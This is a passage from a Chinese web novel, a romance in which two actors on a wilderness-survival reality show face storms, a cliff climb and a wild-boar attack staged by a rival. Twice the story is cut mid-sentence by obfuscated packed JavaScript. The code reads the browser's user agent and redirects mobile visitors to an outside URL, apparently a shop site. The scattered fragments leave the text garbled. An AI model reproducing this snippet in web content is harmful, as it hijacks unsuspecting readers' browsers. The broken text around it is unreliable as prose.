光柱照亮了灌木丛——空空如也,只有被风吹动的枝叶。 虚惊一场。 但傅予沉没有立刻放松,他依然维持着保护的姿态,警惕地扫视着那片黑暗,呼吸略显急促。 几秒钟后,他才似乎意识到自己反应过度,肩膀微微松懈下来,关掉了手电。 他转过身,看向被他护在身后的江洺。 星光下,他的脸色有些发白,眼神里还残留着未褪去的凌厉和警觉,与刚才那个说着‘眼睛里印着星星’的人判若两人。 “抱歉,哥哥,”他扯了扯嘴角,试图恢复平静,但声音依旧紧绷,“我……有点紧张。” 江洺站在原地,肩上还披着他的毯子,静静地看着他。 他紧张的是那一瞬可能面临的危险?还是……一个‘开诚布公’之后不确定的未来? -- 星空任务,似乎完成了,又似乎远远没有结束。 耳麦传来任务完成、奖励到账的提示音,以及“隐藏水源”线索的碎片信息。 但江洺的注意力已经完全不在那上面。 他看着眼前这个在星空下露出破绽、又匆忙用温柔掩饰的男人,心脏在胸腔里沉重地跳动着。 试探得到了回应,以往那些丝丝缕缕的“违和”,或许不是错觉。 此刻,星空下的他开始共情他的母亲,共情她那些年的彷徨,与无助。 “爱情”,或许就像是握在手里的流沙。 越用力,越抓不住……越抓不住,又越想用力。 最后逼疯了她。 34. 荒野求生三 清晨的林间弥漫着湿润的雾气,篝火只剩下一堆灰白的余烬,缕缕青烟袅袅升起。 江洺在潮湿的寒意中醒来,肩膀有些僵硬。他身上盖着两件东西——自己的薄睡袋,以及,不知何时,傅予沉的那条军绿色毛毯,也严实地盖在了最上面。 傅予沉已经起来了,正背对着棚子,就着渐渐亮起的天光,用小刀削着一根更直更长的树枝,脚边堆着一些新收集的干燥细柴。 他的动作依旧稳定高效,但眼下有淡淡的青影,显然下半夜并没有休息好。 江洺坐起身,毛毯滑落,窸窣的声响让傅予沉立刻回头。 “哥哥醒了?”他放下手中的东西,快步走过来,很自然地伸手探了探江洺的额头,“没发烧。” 他的指尖温热,触碰一瞬即离,眼神里是熟悉的关切,“我去把火重新生起来,烧点热水。”说完便转身去摆弄那堆灰烬。 一切看似都与昨夜之前无异。 -- 但江洺的视线落在傅予沉的背影上,重新点燃篝火后,他没有像往常那样立刻露出完成任务般的明亮笑容,而是盯着跳跃的火苗,眼神有几秒钟的失焦,直到水壶架上去发出轻响,他才恍然回神。 “早上有任务吗?”江洺问,声音带着刚醒的微哑。 傅予沉摇摇头,将烧温的水倒入江洺的水壶递给他,“暂时没有。不过手环刚刚更新了地图,标出了三个可能的‘资源补给点’,但提示说资源有限,先到先得,且每个点可能有小型挑战。” 资源争夺战,开始了。 江洺喝了一口温水,暖流滑入胃中。他调出手环地图,三个光点分散在营地周围不同方向,距离都不近,且路径看起来都不平坦。其中一个标记着“水”的符号,一个标记着“食物”,第三个则是模糊的“?”。 “心动币还够,但补给点的东西恐怕不便宜,而且限量。”傅予沉凑过来看地图,他的气息拂在江洺耳侧,分析道,“我们最好选一个最急需的。水我们还有小半壶,但撑不过今天。食物……压缩饼干还能顶一顶。” 他的手指虚点在那个“水”符号的光点上,“这个最近,但路看起来不好走。‘?’这个最远,风险未知。” 他的分析冷静、客观,完全着眼于生存最优解,没有“哥哥想去哪个我就去哪个”的盲目,也没有夸张的担忧。 “去‘水’点。”江洺做出决定。 -- 简单吃过压缩饼干,两人收拾行装准备出发。离开前,傅予沉仔细检查了营地,将火堆彻底熄灭,用泥土掩埋,又把棚子入口用枝条做了些简易伪装。 “防止小动物翻东西,也……防人。”他解释道,语气平淡,但‘防人’两个字,让江洺抬了抬眼。 傅予沉似乎也意识到这个词有些突兀,补充道,“夏晴他们好像也往这个方向来了,小心点好。” 在上一期结下来的的梁子,他不认为夏晴会善罢甘休。 通往水源点的路果然崎岖,需要攀爬一段陡峭的碎石坡,穿越一片藤蔓密布、光线昏暗的林子。 傅予沉始终走在前面开路,用那根新削的树枝拨开带刺的藤蔓,踢开松动的石块,不时回头伸手拉江洺一把。 他的手坚定有力,但每次握住江洺手腕或手时,江洺都能感觉到他掌心微微的潮湿。 在爬一处近乎垂直的土坡时,江洺脚下突然一滑,碎石哗啦啦滚落。 “小心!”傅予沉低喝一声,反应快得惊人,原本在上的他几乎瞬间下探,手臂猛地伸出,精准地一把扣住了他的上臂,另一只手迅速抵住江洺身侧的土壁,用自己身体形成了一个稳固的三角支撑,将江洺牢牢固定住。 江洺的心脏因惊吓而狂跳,但更让他心惊的是傅予沉此刻的眼神,锐利、冷静、全神贯注于评估风险和稳固支撑点,没有任何惊慌失措,只有一种近乎冷酷的专注。 直到确认江洺站稳,那眼神才像潮水般褪去,换上了熟悉的、后怕的担忧。 “哥哥!没事吧?有没有扭到?”他松开手,语气急切,甚至带着点自责,“这坡太陡了……” “没事。”江洺平复呼吸,垂下眼睫,“路是我选的,继续走吧。” 傅予沉看向江洺的眼神有一瞬间的幽深,他不知道江洺这句话,是否在某种程度上有着‘双关’的意义。 他不是没有感觉到江洺的怀疑,只是……他还没有想好,该以怎样的姿态坦白,又以怎样的形象继续他们之间的关系。 如果坦诚自己恢复了记忆,那么江洺会不会又缩回原来的壳里,继续以“死对头”,那种拒人于千里之外的态度对他? 那些曾真实发生的,针锋相对的过往,又该如何“处置”? -- 江洺他们是最先到达水源点的。 他悄悄摸了摸自己手腕上的旧伤,喉结轻微滚动后,就恢复了平静。 不知道是他的病症确实好转了,还是因为,此刻旁边有一个能让他感觉安全的傅予沉存在。 那是一个从岩缝中渗出的涓涓细流,下方有个天然的石洼,积了浅浅一汪清水,旁边放着节目组准备的几个水袋和一把小型手动净水器,锁在一个透明的玻璃箱中,上面贴着价签:每袋净水500ml:心动币x150。净水器,可使用10次:心动币x600。 价格不菲,他们的心动币余额是2480。 傅予沉蹲下检查水质,又拿起净水器看了看说明。“水质看着还行,但野外的水源必须处理。净水器划算,但我们现在只需要装满两个水壶和备用的一袋。”他快速计算着,“买一个净水器,加上我们自己的水壶,大概能储备3升左右,够今天和明天基本用量,花费600。” 他再次展现了他精于计算的一面,就在他准备支付时,林间传来了脚步声和人声。 夏晴和陆衡也赶到了。 夏晴看起来更加狼狈,脸上带着刮痕,气喘吁吁,看到石洼里所剩不多的积水和江洺他们手里的净水器,他的脸色顿时变了。 “江老师,傅老师,你们动作真快。”夏晴挤出一个笑容,眼神却盯着那净水器和水源,“这水……还够吗?” “先到先得。”傅予沉站起身,挡在了水源和物资前,语气平静,但带着一种无形的压迫感。 他没有看夏晴,而是看向陆衡,“陆教授,你们也缺水?那边岩缝还在渗,积满一洼大概还要两三个小时。或者,”他指了指净水器,“你们可以等我们用完,借给你们用,但需要支付一定心动币作为使用费,比如……100币一次?” 他在谈判,用最直接的利益交换,来避免冲突和解决资源分配。 这冷静的提议,让夏晴一时噎住,也让江洺再次确认,这绝不是失忆傅予沉的思维方式。 至于这些究竟是傅予沉的‘一时疏忽’,还是刻意表现给他看的,江洺就暂时无法得知了。 但是出于一些自己的‘私心’,江洺也暂且压下了捅破这层伪装的心思。 -- 陆衡推了推眼镜,苦笑一下,“很公平,我们等下一波,或者……晚点支付使用费。”他拉住了还想说什么的夏晴。 没曾想,傅予沉却并没有轻易放过他,他带着一点恰到好处的笑意,看着他,“夏晴,你就没有什么想要说的吗?” 夏晴脸色倏然泛白,“说什……什么?” “你欠江洺一个正式的道歉!”傅予沉意有所指。当年的“霸凌”丑闻,已经在网络上澄清,夏晴以为沉默是金,就能蒙混过关吗? 【休想!】 夏晴看了一眼不远处正在直播的摄像头,几乎维持不住体面,“你不要这么咄咄逼人!” “错了,就该认,不是吗?” 夏晴嗫喏了一下,突然开口,带着一抹嘲讽的笑意,“哈,相比于您之前做的那些,我这点儿小打小闹又算是什么呢?” “我等着,看你恢复记忆那天……又该如何收场?傅影帝……你做的那些事,可比我这‘小打小闹’精彩多了吧?是吧,江老师?” 傅予沉心中骤然一缩,下意识就看向了江洺。 江洺的表情却没有任何变化,甚至伸手勾了勾他的指尖,似在安抚,而后看向夏晴,轻轻开口,“夏晴,道歉。” “否则,我们就在这耗着?或者你们多花些时间……再去下一个取水点?” 说罢,江洺似乎想起了什么,看向直播中的工作人员,“这应当算是正常游戏竞争,不算是‘霸凌’吧?” 跟组的导演苦笑一声,“自然。” “你!你们!”霎那间,夏晴感觉自己像是被所有人孤立了,他抿唇,看向身边陆衡,“陆教授,你看他们!” 陆衡叹了口气,“小夏有点抹不开面子,我帮他道歉是否可行?” 不等江洺开口,他就继续说,“网上的视频我也看过了,确实是小夏的不对,我代他向您说一声抱歉,还望江老师、傅老师海涵。” 傅予沉动了动唇,想要说些什么,最后还是把选择权交给了江洺。 江洺点了点头,“陆教授有心了,那这个话题暂且揭过吧。” 傅予沉不再多言,迅速支付600币购买了净水器,开始接水过滤。 -- 【哦豁,撕起来了!】 【夏晴没有心,做错了为什么不道歉!】 【因为在镜头下,抹不开面子吧,况且……他那一夜狂掉几十万粉丝,也算是受到惩罚了?】 【不管,他不道歉,在我这儿就是一生黑!】 【其实,我更在意夏晴说的那句话,等傅影帝恢复记忆了,又该如何?】 【他现在咄咄逼人要求夏晴道歉,等到他自己呢?当初他对洺洺做的可要过分多了!】 【是啊,现在想想那些事情,可不是一句轻飘飘的道歉,能够揭过的。】 【我去,我嗑的CP不会BE吧?】 【不会吧,洺洺可没失忆,他刚才还勾了勾傅哥的手呢,反正不问过去,只要洺洺不介意就不会BE吧?】 【别担心,谜底不在谜面上了么吗?】 【什么?】 【还记得傅影帝的那个微博吗?】 【哪条?】 【@江洺VIP现申请升级为江老师的——终身家养犬。】 【轻飘飘的道歉不能揭过,那就罚傅哥给洺洺当一辈子的“狗”好了呀~】 【那时候还觉得他疯了,现在看……原来是预言家!】 【卧槽,人才!】 -- 在他们即将装好水准备离开时,所有人的手环同时震动,发出了新的任务提示音! 【紧急限时任务:悬崖之心】 位置:东南方向800米,鹰嘴岩。 内容:崖壁上固定有本次任务的‘信物’,一枚特殊徽章。取得信物并带回出发营地的小组,将获得大量心动币奖励,并直接获得关于‘最终隐藏营地’的关键信息。 警告:崖壁陡峭,有一定危险性。请量力而行,节目组已做好基础安全措施,但需要自行攀爬约15米。 限时:90分钟。 高风险,高回报。而且是直接与‘最终隐藏营地’挂钩。 -- 傅予沉抬头看向东南方向,眉头紧锁,嘴唇抿成一条线。 江洺能清晰地看到他的紧绷,那是一种出于权衡中的神态。 夏晴的眼睛却亮了,他急切地看向陆衡,“陆教授,我们去试试吧!拿到信物我们就能翻身了!” 陆衡面露难色,看向那陡峭的东南方,“太危险了,我们装备和体力……” “我去。”傅予沉迅速收好水袋和净水器,背起了背包。他看向江洺,“哥哥,你在这里等我,或者先慢慢往回走,我去拿。” 他说“我去”,而不是“我们去”。他下意识地将江洺排除在了危险之外。这是保护,但也是……一种基于对自身能力的认知和风险评估后的决定。 失忆的傅予沉,可能会害怕,可能会坚持两人一起面对,但绝不会如此独断地做出这种“我独自承担风险”的决策,除非…… 他潜意识里知道自己能做到,并且不想让江洺涉险,或者看到更多。 “太危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362921|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险了。”江洺看着他,“节目组只说有基础措施。” “我知道。”傅予沉抬手,似乎想碰碰江洺的脸,但指尖在半途蜷缩起来,最终只是握紧了背包带子,“但那个‘最终隐藏营地’的信息,显然挺重要的”他顿了顿,像是说给江洺听,也像在说服自己,“我只是先去看看,放心,我会量力而行的。” 说完,他不再耽搁,转身就朝着鹰嘴岩的方向快步走去。 “傅予沉!”江洺叫了他一声。 傅予沉脚步一顿,没有回头,只是背对着他挥了挥手,示意他放心,然后身影迅速消失在茂密的林木之后。 -- 江洺站在原地,看着他消失的方向,心脏在胸腔里沉沉地跳动着。 刚才傅予沉转身前那一瞬的眼神,他看懂了。那是一种混合着胜负欲、保护本能、以及对未知挑战近乎冷酷的兴奋的眼神。 属于曾经的、作为他死对头的那个傅予沉的眼神。 也属于那个在失忆期间,一次次将他从恐惧边缘拉回来的守护者的眼神。 两种截然不同的特质,在刚才那一刻,诡异地融合在了一起。 这一刻,江洺心中突然涌出了一种“算了”的情绪,或许只要傅予沉不主动坦白,他就可以继续陪他演完这场戏,不计得失,不论后果。 -- 夏晴恨恨地跺了跺脚,但也无可奈何,只能和陆衡商议着是去崖下观望还是放弃。 江洺没有选择原地等待,也没有直接回营地。 他循着傅予沉离开的方向,保持着一段距离,悄然跟了上去。 鹰嘴岩很快出现在眼前,那是一处突兀伸出的灰白色崖壁,确实像鹰喙。崖顶能看到节目组设置的橙色保护绳垂下。 崖壁上,在距离崖顶大约十五六米的地方,一点银色的反光物被牢牢固定着,那便是信物。 傅予沉已经到达崖底,正在仰头观察崖壁,活动着手腕脚踝。他脱掉了外套,只穿着贴身的黑色速干长袖T恤,勾勒出流畅而蕴含力量的肌肉线条。他没有立刻开始攀爬,而是非常仔细地检查了节目组提供的保护绳、安全带和自己的手套,测试了几个着力点。 他的姿态专业,每一个检查步骤都透着老练。 然后,他开始了攀爬。 他寻找裂缝、凸起、可以借力的草木根系,手脚配合默契,核心稳定,呼吸控制得极好。遇到光滑无处下手的地方,他会短暂停顿,冷静地观察,然后果断改变路线。 江洺躲站在不远处的树后,屏息看着。 他能看到傅予因为用力而绷紧的背肌,也看到了他在中途一次脚滑时,瞬间爆发出的惊人臂力将自己重新拉回岩壁的惊险一幕。 那一刻,傅予沉脸上没有任何惊慌,只有全神贯注的平静。 终于,他够到了那枚银色徽章,将其取下,紧紧攥在手里。 然后,他没有丝毫耽搁,开始稳健地下降。 就在他下降到一半,距离地面还有七八米的时候,异变突生! “咔嚓!”一声轻微的脆响,来自他上方某个着力点——一块风化的岩石似乎因为他下降时的蹬踏而松动了! 碎石簌簌落下! 傅予沉的身体随着那块岩石的松动猛然向下一沉!保护绳瞬间绷紧,发出令人牙酸的声音! “啊!”远处观望的夏晴发出短促的惊叫。 江洺的心脏骤然停跳,一股冰冷的恐惧攫住了他,他想都没想就要冲出去。 然而,岩壁上的傅予沉却在电光火石间做出了反应。他几乎在身体下坠的瞬间,腰部猛地发力,另一只手闪电般探出,死死扣住了侧下方一道坚固的岩缝!同时双脚也迅速找到了新的支撑点。 整个惊险的过程不过两三秒,他却完成了一次教科书般的应急处理。 他悬在那里,急促地喘息了几口,低头看了看下方,然后抬头,目光锐利地扫视了一下崖顶的保护绳固定点,确认无误后,才继续沉稳地下降。 当他双脚终于踏上坚实的地面时,江洺才感觉到自己冰凉的指尖恢复了知觉,后背惊出了一层冷汗。 原来,他比他以为的,更为在意傅予沉。 -- 傅予沉解开安全带,,他抬手抹了把脸上的汗和灰,这才看向手中的徽章,嘴角几不可查地勾起一个极淡的、属于胜利者的弧度。 但很快,那弧度便消失了,他像是想起了什么,迅速抬头,目光急切地搜寻。 然后,他看到了从树林边缘走出来的江洺。 四目相对。 傅予沉眼中的锐利、冷静、残留的兴奋,在接触到江洺视线的一刹那,如同潮水般褪去,被一种仓皇的、后知后觉的担忧覆盖。 “哥哥!你怎么跟来了?这里危险!”他的声音带着喘息和急切,伸手似乎想检查江洺有没有事,却在即将碰到时顿住,改为紧紧攥住了那枚徽章,指节用力到发白,“对不起……我,我刚才……”他想解释,想道歉,却语无伦次。 江洺看着他。看着他汗湿的头发,沾着灰尘的脸颊,剧烈起伏的胸膛,还有那双努力想装出平静却依然残留着惊魂未定和更深沉情绪的眼睛。 刚才崖壁上那个冷静、强悍、游刃有余的傅予沉,和眼前这个慌张、笨拙、急于解释的傅予沉,撕裂般地呈现在他面前。 所有的试探,所有的怀疑,在这一刻,几乎都有了确凿的答案。 江洺什么也没问,他只是伸出手,轻轻拂掉了傅予沉肩头的一片枯叶。 “拿到了?”他的声音有些沙哑。 傅予沉愣了一下,连忙点头,将徽章递到他面前,眼神亮了起来,带着点邀功般的期待,却又小心翼翼地观察着江洺的脸色,“嗯,拿到了。哥哥,这个给你。” 江洺接过那枚冰冷的徽章,上面还残留着傅予沉的体温和汗湿。 “回去吧。”江洺说,转身走向来路。 傅予沉跟在他身后半步,前所未有的沉默。 那份沉默里,充满了某种东西被彻底戳破后的无措,以及更深沉的、连他自己也无法厘清的汹涌情绪。 35. 荒野求生四 从鹰嘴岩回营地的路,沉默得令人窒息。 林间的光线逐渐变得昏黄,夕阳的余晖艰难地穿透茂密的树冠,在地上投下斑驳破碎的光影。 江洺走在前面,傅予沉落后半步,两人之间仿佛隔着一道看不见的、由未尽之言,和已然揭穿的秘密构成的冰冷河流。 江洺的心跳已经恢复了平稳,掌心里那枚从悬崖取回的徽章,边缘硌着皮肤,带来清晰的痛感,这痛感奇异地安抚着他。 是的,他几乎确认了。 那些过于专业的技能、危机时刻本能般的反应、冷静的权衡、以及偶尔流露出的、与“失忆忠犬”人设截然不同的深沉眼神……所有碎片拼凑在一起,指向一个不容辩驳的事实,傅予沉恢复了记忆,并且一直在演。 ——在他面前,演一只,他喜欢的,温驯的“小狗”。 最初的震惊、被欺骗的愤怒、对未知的恐惧,如同暴风雨般在他心中席卷过。 但此刻,风雨停歇,留下的竟是一片奇异的平静,甚至……一丝破罐子破摔般的解脱。 算了。 这个念头再次冒了出来,然后迅速扎根,蔓延。 只要傅予沉不开口戳破,只要他还愿意继续戴着这副“深情”的面具,那自己……是不是也可以假装什么都不知道? 继续心安理得地享受这份被保护、被珍视的感觉? 哪怕它是假的,哪怕它建立在流沙之上。 他宁愿活在这个由失忆开端、却因傅予沉的“扮演”而变得无比真实的幻梦里。 “很好”,江洺轻笑低喃,“那就一起演一辈子好了,我亲爱的死对头。” -- 回到营地时,天色已近全黑,篝火重新燃起,驱散着傍晚的湿气和寒意。苏蔓和周明轩已经回来了,看起来有些疲惫但收获尚可。夏晴和陆衡的营地距离他们不远,隐约能看见火光,但气氛沉寂。 简单的晚餐后,一种山雨欲来的沉闷笼罩下来。 手环再次震动,发布了最终任务前的最后通牒。 【最终考验夜】 说明:今夜,各队需守住营地与核心物资。同时,节目组随机抽取了一名嘉宾作为“挑战者”,其秘密任务是:在不造成人身伤害的前提下,破坏或污染指定队伍的“生存物资”。 被干扰队伍若成功防范并识破“挑战者”,可获得双倍奖励。若失败,且关键物资损毁,将面临严峻生存挑战。 “挑战者”若成功,独自获得高额奖励。 身份与目标已秘密发送。 备注:考虑到可能的危险,各位有选择自主退出的权利。 空气突然有些紧绷,为期两天的节目录制,已经到了最后环节,显然没有人会在这里选择退出。 傅予沉几乎是立刻起身,他没有先去管篝火,而是第一时间走向他们白天小心翼翼搬回来的物资,重点就是那个手动净水器和装着滤芯、急救药品的小包。 他迅速将它们转移进帐篷最内侧干燥处,并用防水布仔细裹好。做完这些,他才去加固篝火,添加耐烧的粗柴,眼神在略过夏晴营地那幽暗的火光时,微微停顿。 变故在午夜时分毫无预兆地降临。 先是远处天际滚过闷雷,紧接着,豆大的雨点以倾盆之势砸落,狂风瞬间拔地而起,卷着雨水横冲直撞。 已经加固后的帐棚在风雨中剧烈摇晃,发出不堪重负的呻吟,篝火在第一时间就被扑灭大半,只剩几缕青烟。 “待在棚里!”傅予沉没有试图去救那注定熄灭的火,而是在雨水彻底笼罩前的一瞬,敏捷地窜回棚内,用整个身体堵住了被狂风吹得鼓胀欲飞的帐篷口。 世界只剩下狂暴的风声、雨声,和棚布濒临撕裂的“滋啦”声响。 逼仄的空间里充斥着水汽和泥土的气息。 江洺靠坐在角落里,雨水从帐篷的缝隙渗进来,落在他的手背上。 他的呼吸骤然一滞,在这样的夜晚,那些被刻意遗忘的画面开始翻涌——灰暗的天空,漫过胸口的海水,那只松开的手。 视野边缘开始发黑,耳边的风声变成了海浪的咆哮。 他感觉呼吸有些困难,下意识地想要松一下领口。 这时,一只温热的手伸了过来,握住了他的手,“哥哥,我在。” -- 夏晴看到了自己手环上的提示【你已被选为挑战者,请合理安排行动,注意安全。注:考虑到天气因素,本次挑战可以放弃,无特殊惩罚环节。】 他在看到这一行字的同时,脑海里几乎立即就浮现了那张——俊美,却让人讨厌的脸。 他明明已经,为自己曾经的营销行为付出了代价。 不仅仅是一夜之间掉的那几十万粉丝,还有两个正在洽谈中的资源……他打听过了,是星耀的那位顾总派人出手,抢了那两个代言。 做的那么明显,甚至不屑有任何掩饰……直白的,像是在给他一个警告,或者说是——教训。 那个人,明明已经在背后做了那么多,还要让傅予沉在节目上咄咄逼人,要让他亲自道歉,凭什么?! 道歉了,那些损失就能回来吗? 他偏不! 陆衡察觉到了他的异常,微微偏头,揉着眉心,“我劝你三思而后行,别做让自己后悔的事情。” 夏晴关了自己衣领上的麦,露出了本来的面目,“呵,要你在我面前装好人!在换装游乐园那期,他害的你提前淘汰,一整期几乎都没有任何曝光,你就不恨吗?陆教授!” 陆衡神色变了变,压低声音,“那是因为谁?不是你先去挑衅,能有后面的事?” “呵,孬种!” 他最开始选择陆衡做为搭档,不过是看中了他的人设好,粉丝也不少,最重要的是……陆衡不混娱乐圈,不会抢了他的风头,没想到……关键时刻竟然这么怂。 早知道这样,当初还不如直接选别人呢! 有时候,他甚至有些羡慕江洺的好运气,羡慕一场意外,竟然能让傅予沉不顾一切的为他冲锋陷阵。 甚至,就连他辛辛苦苦,费尽浑身解数,才搭上的那位天音的少东家——秦衡,都对江洺念念不忘。 真是令人嫉妒呢!他江洺凭什么?凭他的音乐才华吗?呵……不过就是有一张长得还不错的脸罢了! 一想到这里,夏晴就感觉一股恨意油然而生,让他恨不得毁了江洺的那张脸。 好看看,没有了那张脸,江洺还怎么“勾”的这么多人都向着他! -- 冒着大雨,夏晴深一脚浅一脚的走向江洺所在的营地,节目组为了不干扰他的行动,已经早早的撤到了外围,只有几个架在树上的固定摄像头,闪烁着微弱的红光。 周围是漆黑的夜,只有他手中的手电筒,在雨幕中射出的一道白色的光柱。 风声呼啸,豆大的雨滴落在他的雨衣上,噼啪作响。 夏晴突然有点后悔,后悔为了所谓的任务,一冲动就这么出来了,这样的夜晚……与山林,会不会有什么危险? “呼,呼……” 夏晴的脚步一顿,不对,这声音……不是风声,更像是某种动物! -- 帐篷中,因为那只及时伸过来的手,江洺的呼吸渐渐趋于平稳。 傅予沉还是没有放开他,只微微调整了姿势,没再去管那被风吹开的,安置在帐篷门口的遮雨布,坐到了他的面前。 雨声更大了些,但心中的那股颤栗的感觉却消退了,仿佛只要有眼前这个人在,连心底那些本能的恐惧,都会被驱散。 不一会儿,傅予沉的后背就被飘落的雨点彻底淋湿了。 江洺的唇动了动,想说什么,突然……风雨中传来一声低沉的嘶吼——混杂了求救的人声,和越来越近的脚步声。 傅予沉的身体瞬间绷紧,他快速判断,“像是大型动物受惊了,朝这边来了。” 话音未落,一个黑影从暴雨中冲出,踏过已然熄灭的篝火,直直撞向帐篷! 帐篷瞬间被撕裂,狂风裹着雨水灌了进来,那是一头被暴雨惊扰的野猪,看起来有一米多长,长着尖锐的獠牙……脊背上还有一道血淋淋的伤口。 【不对,这不是单纯的被雨水惊扰的动物,是……】 来不及思考更多,混乱中,江洺就看到它朝着他们所在的方位冲了过来。 不好,傅予沉这会儿正背对着帐篷,来不及躲开。 江洺瞬间做出了选择,他猛地拽起傅予沉一拉,腰身一转,两人滚到了一旁,避开了那野猪冲过来的力道。 只不过,还是略微慢了一步。 那畜生路过时,尖锐的獠牙划过他的手臂,一阵刺痛。 江洺低头,看到小臂处多了一道伤痕。 傅予沉扑过来,声音是他从未听过的惊惶。 “江洺!”他的手颤抖着捧起江洺的手臂,看着那道血痕,眼眶瞬间红了。 但他的手没有抖太久,迅速就反应了过来,他从急救包里翻出纱布和消毒药水,开始处理伤口,动作专业、冷静、有条不紊。 消毒、止血、包扎,每一个步骤都干净利落。 直到包扎完毕,他才看向一旁,滚落在泥地里的夏晴,声音带着冷意,“是你,把那畜生引过来的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373771|198014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >-- 夏晴看了一眼继续狂奔,消失在雨夜中的野猪,微微有些遗憾。不过他很快隐藏了下来,低头哭到,“不……不是我!” “我只是为了节目组的任务,经过的时候,碰到了这畜生!” 他确定,伤到那只野猪的时候,没有任何摄像头拍到,况且,他也受伤了……他故意露出自己在跌倒时,蹭到手背上的伤痕,“我没看到你们的帐篷在这边,我只是想找工作人员求救,慌不择路……” “啊!”他辩驳的话戛然而止,只觉胸口处传来了一阵闷痛。 傅予沉一脚踹在了夏晴的胸口处,看着他在泥地里又翻滚了几圈,而后才慢慢蹲在了他的面前,“你知道我没有证据……但,我不需要证据。” 夏晴明白了什么,眼含惊恐,“你敢!这是综艺节目!” 傅予沉伸手抓住了他的衣领,另一只手接住了从他怀中掉落的匕首,微微压低了声音,“你猜,我现在带你去找那畜生……然后,制造一场意外,需要多久?” 夏晴难以遏制的颤抖起来,心中莫名有个声音在说,这个疯子真敢这么做。 “你知道的,这场大雨……会消弭所有的证据,不是吗?” -- “傅予沉,我没事。”江洺的声音蓦地响了起来,傅予沉的动作微微一顿。 从没有这么一天,夏晴感觉,江洺的声音是如此的动听。 他连忙扬声到,“江老师,对不起,我错了!你放过我吧……我再也不敢了……” 说到最后,声音里带出了哭腔,他是真的怕了。 大雨滂沱中,江洺走了过来,他伸手拍了拍傅予沉的脊背。 沉默中,傅予沉站起身,让到了一旁,手里还握着那把匕首……但是仍维持着一个紧绷的,防御着的状态。 “今晚的事情,真是意外?” 夏晴抽噎了两声,想要抵死不认,傅予沉说的对,他就是仗着他们没有证据,才敢计划这一切。 此刻,被傅予沉一顿恐吓后,他在那道仿佛洞悉一切的眸光下,失去了狡辩的勇气,“对不起,是我一时糊涂,想要给你们一个教训,我没想伤人的,只是想吓一吓你们而已……真的对不起,我再也不敢了。” “很好。”江洺微微点头,当着夏晴的面重放了手机里录音,“今天的事情到此为止,你走吧。” 夏晴明白了江洺的意思,他们不再追究他故意引野猪过来的事情,他也不能追究刚才被傅予沉打了的事。 他沉默了半响,点头,然后取下了身上所有的收音、摄影设备,放到了地上。 沉默中,傅予沉蹲下身来,检查了一番之后,才朝着江洺点了点头。 夏晴这才收起这些电子设备,打开,“刚才雨太大了,我不小心摔倒了,多谢江老师……和傅老师帮忙,我自愿放弃今天晚上的挑战任务。” -- 看着夏晴走进了雨幕,傅予沉转身,蓦然撞入了江洺那了然的眸光中。 【江洺知道了】 幽暗的夜色中,那道眸光却亮的灼人,傅予沉下意识避开了那道目光。 “哥哥,我……” 他嗫喏了半响,不知道怎么解释,解释他那突然突然爆发的情绪,解释他那极度崩人设的行为。 一切发生的太过突然,在看到江洺受伤……甚至是,为他受伤的那一刻,他脑海里那根弦就断了,他顾不得伪装,只想要让伤害江洺的罪魁祸首,付出代价。 他不知道,如果没有江洺的阻止,他最后会不会做出那么恐怖的事情来。 那一刻,他的脑海里,是真的有一条完整的“作案思路”。 大雨、密林、野生动物……消失的“他”。 -- 雨小了些,落在身上,不再是细密的疼。 江洺深深吸了一口气,感受着潮湿阴冷的气息涌入了肺腑,被这场雨诱发的那些有关“恐水症”的幻觉消失了。 从什么时候开始的呢? 是他握着傅予沉的手的时候?是野猪闯进来的时候?还是傅予沉为了他,突然爆发的时候? 江洺也没有答案,他看向了面前的傅予沉。 眼前的青年浑身上下都湿透了,微长的头发耷拉在额头上,脸上还挂着细密的水珠,双眸微垂。 很乖。 仿佛一瞬间收起了锋利爪牙,丝毫没有方才威胁夏晴时的那股子气势,反而像是家里的那只名叫奶糖的萨摩。 ——疯跑出去淋了雨,又回来弄脏了地毯后……才后知后觉的意识到自己的错误,乖巧地等待来自主人的“惩罚”。 “哥哥,我……”